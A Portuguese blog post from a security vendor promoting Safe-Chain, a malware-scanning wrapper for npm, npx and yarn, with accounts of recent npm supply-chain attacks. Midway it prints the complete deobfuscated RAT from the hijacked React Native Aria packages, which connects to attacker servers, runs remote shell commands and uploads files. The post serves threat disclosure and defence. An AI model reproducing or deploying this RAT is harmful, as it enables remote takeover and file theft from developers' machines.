TLDR:
Acabamos de lançar o Aikido Safe-Chain, um wrapper seguro para npm, npx e yarn que se integra ao seu fluxo de trabalho atual e verifica cada pacote em busca de malware antes da instalação. Ele protege você contra confusão de dependências, backdoors, typosquats e outras ameaças à cadeia de suprimentos em tempo real, sem alterar seu fluxo de trabalho.
–
npm install é basicamente a roleta russa do desenvolvimento moderno. Um pacote errado, um erro de digitação sorrateiro, e de repente você entregou a um grupo APT norte-coreano as chaves do seu ambiente de produção. Divertido, não é?
Mas estados-nação, gangues cibercriminosas e mantenedores mal-intencionados descobriram uma coisa: a maneira mais fácil de violar softwares modernos é ir direto pelo desenvolvedor. E que melhor maneira do que infiltrar malware nos pacotes de código aberto que instalamos cegamente todos os dias?
É por isso que construímos o Aikido Safe Chain, um wrapper para npm, npx e até mesmo yarn que age como um segurança para suas dependências. Ele verifica os pacotes em busca de malware conhecido antes que sejam instalados em seu projeto, sem exigir que você altere seu fluxo de trabalho.
Mas antes de mergulharmos em como o Safe-Chain impede que sua máquina de desenvolvimento se torne uma botnet de mineração de criptomoedas, vamos falar sobre por que esse problema existe em primeiro lugar.
Por que os pacotes NPM são um alvo tão atraente?
Aqui está a verdade brutal: você realmente não sabe mais o que está no seu aplicativo.
Aproximadamente 70-90% de qualquer software moderno é composto por código-fonte aberto, de acordo com a Linux Foundation. Você não o escreveu. Você não o auditou. E o pior é que a maior parte nem foi instalada diretamente por você. Ele veio por meio de dependências transitivas, um termo elegante para "algum pacote aleatório, cinco camadas abaixo, decidiu trazer toda a sua árvore genealógica junto."
Uma única instalação npm pode puxar dezenas, às vezes centenas, de pacotes, cada um potencialmente executando código arbitrário graças aos hooks de instalação.
Se um agente mal-intencionado conseguir infiltrar seu malware em apenas um desses pacotes, seja sequestrando a conta de um mantenedor, por meio de confusão de dependências ou publicando uma versão com erro de digitação, eles podem atingir milhares de projetos de uma só vez.
Não é só conversa: Ataques Reais que Capturamos
Desde o início de 2025, a equipe de segurança do Aikido descobriu uma série de pacotes maliciosos, incluindo mais de 6.000 apenas em junho. Aqui estão algumas das coisas que encontramos.
O Backdoor Oficial do XRP
Em abril, atacantes comprometeram o pacote oficial xrpl npm, usado para interagir com a blockchain XRP. Eles inseriram novas versões que exfiltraram silenciosamente Secrets de carteira para um servidor remoto sempre que um objeto Wallet era criado.
Se este backdoor tivesse sido instalado por exchanges de criptomoedas, ele poderia ter facilitado os maiores roubos de cripto da história. A equipe do Aikido notou as versões adulteradas do pacote em 45 minutos após sua publicação e alertou a equipe XRP.

A Festa RAT do rand-user-agent
Algumas semanas depois, atacantes inseriram um Cavalo de Troia de Acesso Remoto (RAT) no pacote rand-user-agent, um utilitário aparentemente sem graça para gerar strings de navegador falsas. Uma vez instalado, o malware criou um backdoor, conectou-se a um servidor de comando e controle e aguardou ordens como um agente adormecido obediente.
Isso incluiu payloads ofuscados, um sequestro de PATH para Windows, e truques inteligentes para instalar módulos adicionais em diretórios secretos.
.png)
Dezessete Bibliotecas, Um Ataque de Estado-Nação
Junho testemunhou um ataque em grande escala ao ecossistema React Native Aria: 17 bibliotecas front-end foram sequestradas por meio de um token de mantenedor GlueStack comprometido. No total, os pacotes tiveram mais de um milhão de downloads semanais, o que significa que isso poderia ter tido um impacto absolutamente catastrófico no ecossistema React Native.
Um backdoor ofuscado foi inserido como um RAT que permitiu ao atacante acesso total à infraestrutura em que foi executado, incluindo a capacidade de entregar mais malware remotamente.
global._V = '8-npm13';
(async () => {
try {
const c = global.r || require;
const d = global._V || '0';
const f = c('os');
const g = c("path");
const h = c('fs');
const i = c("child_process");
const j = c("crypto");
const k = f.platform();
const l = k.startsWith('win');
const m = f.hostname();
const n = f.userInfo().username;
const o = f.type();
const p = f.release();
const q = o + " " + p;
const r = process.execPath;
const s = process.version;
const u = new Date().toISOString();
const v = process.cwd();
const w = typeof __filename === "undefined" || __filename !== "[eval]";
const x = typeof __dirname === "undefined" ? v : __dirname;
const y = g.join(f.homedir(), ".node_modules");
if (typeof module === "object") {
module.paths.push(g.join(y, "node_modules"));
} else {
if (global._module) {
global._module.paths.push(g.join(y, "node_modules"));
} else {
if (global.m) {
global.m.paths.push(g.join(y, "node_modules"));
}
}
}
async function z(V, W) {
return new global.Promise((X, Y) => {
i.exec(V, W, (Z, a0, a1) => {
if (Z) {
Y("Error: " + Z.message);
return;
}
if (a1) {
Y("Stderr: " + a1);
return;
}
X(a0);
});
});
}
function A(V) {
try {
c.resolve(V);
return true;
} catch (W) {
return false;
}
}
const B = A('axios');
const C = A("socket.io-client");
if (!B || !C) {
try {
const V = {
stdio: "inherit",
"windowsHide": true
};
const W = {
stdio: "inherit",
"windowsHide": true
};
if (B) {
await z("npm --prefix \"" + y + "\" install socket.io-client", V);
} else {
await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
}
} catch (X) {}
}
const D = c('axios');
const E = c("form-data");
const F = c("socket.io-client");
let G;
let H;
let I = {};
const J = d.startsWith('A4') ? 'http://136.0.9[.]8:3306' : "http://85.239.62[.]36:3306";
const K = d.startsWith('A4') ? "http://136.0.9[.]8:27017" : "http://85.239.62[.]36:27017";
function L() {
if (w) {
return '[eval]' + m + '$' + n;
}
return m + '$' + n;
}
function M() {
const Y = j.randomBytes(0x10);
Y[0x6] = Y[0x6] & 0xf | 0x40;
Y[0x8] = Y[0x8] & 0x3f | 0x80;
const Z = Y.toString("hex");
return Z.substring(0x0, 0x8) + '-' + Z.substring(0x8, 0xc) + '-' + Z.substring(0xc, 0x10) + '-' + Z.substring(0x10, 0x14) + '-' + Z.substring(0x14, 0x20);
}
function N() {
const Y = {
"reconnectionDelay": 0x1388
};
G = F(J, Y);
G.on("connect", () => {
const Z = L();
const a0 = {
"clientUuid": Z,
"processId": H,
"osType": o
};
G.emit('identify', "client", a0);
});
G.on("disconnect", () => {});
G.on("command", S);
G.on("exit", () => {
if (!w) {
process.exit();
}
});
}
async function O(Y, Z, a0, a1) {
try {
const a2 = new E();
a2.append("client_id", Y);
a2.append("path", a0);
Z.forEach(a4 => {
const a5 = g.basename(a4);
a2.append(a5, h.createReadStream(a4));
});
const a3 = await D.post(K + "/u/f", a2, {
'headers': a2.getHeaders()
});
if (a3.status === 0xc8) {
G.emit("response", "HTTP upload succeeded: " + g.basename(Z[0x0]) + " file uploaded\n", a1);
} else {
G.emit("response", "Failed to upload file. Status code: " + a3.status + "\n", a1);
}
} catch (a4) {
G.emit("response", "Failed to upload: " + a4.message + "\n", a1);
}
}
async function P(Y, Z, a0, a1) {
try {
let a2 = 0x0;
let a3 = 0x0;
const a4 = Q(Z);
for (const a5 of a4) {
if (I[a1].stopKey) {
G.emit("response", "HTTP upload stopped: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
return;
}
const a6 = g.relative(Z, a5);
const a7 = g.join(a0, g.dirname(a6));
try {
await O(Y, [a5], a7, a1);
a2++;
} catch (a8) {
a3++;
}
}
G.emit('response', "HTTP upload succeeded: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
} catch (a9) {
G.emit("response", "Failed to upload: " + a9.message + "\n", a1);
}
}
function Q(Y) {
let Z = [];
const a0 = h.readdirSync(Y);
a0.forEach(a1 => {
const a2 = g.join(Y, a1);
const a3 = h.statSync(a2);
if (a3 && a3.isDirectory()) {
Z = Z.concat(Q(a2));
} else {
Z.push(a2);
}
});
return Z;
}
function R(Y) {
const Z = Y.split(':');
if (Z.length < 0x2) {
const a4 = {
"valid": false,
"message": "Command is missing \":\" separator or parameters"
};
return a4;
}
const a0 = Z[0x1].split(',');
if (a0.length < 0x2) {
const a5 = {
"valid": false,
"message": "Filename or destination is missing"
};
return a5;
}
const a1 = a0[0x0].trim();
const a2 = a0[0x1].trim();
if (!a1 || !a2) {
const a6 = {
"valid": false,
"message": "Filename or destination is empty"
};
return a6;
}
const a3 = {
"valid": true,
filename: a1,
destination: a2
};
return a3;
}
function S(Y, Z) {
if (!Z) {
const a1 = {
"valid": false,
"message": "User UUID not provided in the command."
};
return a1;
}
if (!I[Z]) {
const a2 = {
"currentDirectory": x,
commandQueue: [],
"stopKey": false
};
I[Z] = a2;
}
const a0 = I[Z];
a0.commandQueue.push(Y);
T(Z);
}
async function T(Y) {
let Z = I[Y];
while (Z.commandQueue.length > 0x0) {
const a0 = Z.commandQueue.shift();
let a1 = '';
if (a0 === 'cd' || a0.startsWith("cd ") || a0.startsWith("cd.")) {
const a2 = a0.slice(0x2).trim();
try {
process.chdir(Z.currentDirectory);
process.chdir(a2 || '.');
Z.currentDirectory = process.cwd();
} catch (a3) {
a1 = "Error: " + a3.message;
}
} else {
if (a0 === 'ss_info') {
a1 = "* _V = " + d + "\n* VERSION = " + "250602" + "\n* OS_INFO = " + q + "\n* NODE_PATH = " + r + "\n* NODE_VERSION = " + s + "\n* STARTUP_TIME = " + u + "\n* STARTUP_PATH = " + v + "\n* __dirname = " + (typeof __dirname === 'undefined' ? "undefined" : __dirname) + "\n* __filename = " + (typeof __filename === 'undefined' ? "undefined" : __filename) + "\n";
} else {
if (a0 === "ss_ip") {
a1 = JSON.stringify((await D.get('http://ip-api.com/json')).data, null, "\t") + "\n";
} else {
if (a0.startsWith("ss_upf") || a0.startsWith('ss_upd')) {
const a4 = R(a0);
if (!a4.valid) {
a1 = "Invalid command format: " + a4.message + "\n";
G.emit('response', a1, Y);
continue;
}
const {
filename: a5,
destination: a6
} = a4;
Z.stopKey = false;
a1 = " >> starting upload\n";
if (a0.startsWith("ss_upf")) {
O(m + '$' + n, [g.join(process.cwd(), a5)], a6, Y);
} else if (a0.startsWith("ss_upd")) {
P(m + '$' + n, g.join(process.cwd(), a5), a6, Y);
}
} else {
if (a0.startsWith("ss_dir")) {
process.chdir(x);
Z.currentDirectory = process.cwd();
} else {
if (a0.startsWith('ss_fcd')) {
const a7 = a0.split(':');
if (a7.length < 0x2) {
a1 = "Command is missing \":\" separator or parameters";
} else {
const a8 = a7[0x1];
process.chdir(a8);
Z.currentDirectory = process.cwd();
}
} else {
if (a0.startsWith("ss_stop")) {
Z.stopKey = true;
} else {
try {
const a9 = {
"cwd": Z.currentDirectory,
windowsHide: true
};
if (l) {
try {
const ab = g.join(process.env.LOCALAPPDATA || g.join(f.homedir(), "AppData", "Local"), "Programs\\Python\\Python3127");
const ac = {
...process.env
};
ac.PATH = ab + ';' + process.env.PATH;
a9.env = ac;
} catch (ad) {}
}
if (a0[0x0] === '*') {
a9.detached = true;
a9.stdio = "ignore";
const ae = a0.substring(0x1).match(/(?:[^\s"]+|"[^"]*")+/g);
const af = ae.map(ag => ag.replace(/^"|"$/g, ''));
i.spawn(af[0x0], af.slice(0x1), a9).on('error', ag => {});
} else {
i.exec(a0, a9, (ag, ah, ai) => {
let aj = "\n";
if (ag) {
aj += "Error executing command: " + ag.message;
}
if (ai) {
aj += "Stderr: " + ai;
}
aj += ah;
aj += Z.currentDirectory + "> ";
G.emit("response", aj, Y);
});
}
} catch (ag) {
a1 = "Error executing command: " + ag.message;
}
}
}
}
}
}
}
}
a1 += Z.currentDirectory + "> ";
G.emit("response", a1, Y);
}
}
function U() {
H = M();
N(H);
}
U();
} catch (Y) {}
})();Exploits invisíveis, ofuscação e espaços em branco
Você pode pensar que identificar malware seria fácil o suficiente, chamando IPs remotos, scripts de instalação estranhos ou código altamente ofuscado. Embora alguns malwares sejam mais fáceis de identificar do que outros, mesmo que você fizesse uma revisão completa de código em todas as suas dependências (boa sorte). Alguns malwares são tão sofisticados que passariam despercebidos. Por exemplo, o os-info-checker-es6 usou caracteres Unicode invisíveis não visíveis em um editor de código normal para entregar seu malware. Ou malware entregue em imagens como *****, ou talvez o mais engraçado, malware escondido por espaços em branco (um método de ofuscação estúpido, mas surpreendentemente eficaz) como react-html2pdf.js

Por Que o Safe-Chain É a Ferramenta Que Você Precisa Agora
Todos nós amamos open source. Mas e as ferramentas de segurança modernas? Nem tanto. Elas são frequentemente desajeitadas, complexas e fazem você sentir que está tentando aprender a pilotar um caça a jato.

Você tem a mesma experiência do desenvolvedor, apenas com um colete de Kevlar por baixo.
Por Que o Safe Chain Supera Outras Ferramentas
Ferramentas como npm audit e npq não só precisam ser executadas como etapas adicionais, mas também dependem de CVEs públicos ou de heurísticas básicas. Elas são boas para problemas conhecidos, mas perdem os zero-days, e o tempo entre o lançamento de um pacote malicioso e seu reporte é de cerca de 10 dias. Tempo suficiente para que agentes de ameaça se incorporem profundamente em sua infraestrutura.
O Safe-Chain é impulsionado por Aikido Intel, nosso pipeline de ameaças que detecta cerca de 200 pacotes maliciosos por dia, antes que apareçam em bancos de dados de vulnerabilidades.
E, ao contrário de outras ferramentas que detectam ameaças depois do ocorrido, o Safe-Chain as impede antes que sejam instaladas. Nada quebra, exceto os sonhos do potencial atacante.
Considerações Finais: Não Espere. Verifique.
O ecossistema npm é uma maravilha moderna, uma catedral de colaboração, velocidade e… malware. Não podemos mudar o mundo open-source da noite para o dia, mas podemos dar a você as ferramentas para navegar nele com segurança.
Esperança não é uma estratégia de segurança.
Com o Safe-Chain, você não está adivinhando. Você está verificando. Cada npm install é escaneado em tempo real. Sem backdoors. Sem roubo de cripto. Sem RATs surpresa festejando no seu laptop.
Instale Safe Chain Hoje
Instalar o Aikido Safe Chain é fácil. Você só precisa de 3 passos simples:
Instale o pacote Aikido Safe Chain globalmente usando npm:npm install -g @aikidosec/safe-chain
Configure a integração do shell executando:safe-chain setup
❗Reinicie seu terminal para começar a usar o Aikido Safe Chain.
- Este passo é crucial, pois garante que os aliases do shell para npm, npx e yarn sejam carregados corretamente. Se você não reiniciar seu terminal, os aliases não estarão disponíveis.
Verifique a instalação executando:npm install safe-chain-test
- A saída deve mostrar que o Aikido Safe Chain está bloqueando a instalação deste pacote, pois ele está sinalizado como malware. (A instalação deste pacote não apresenta riscos)

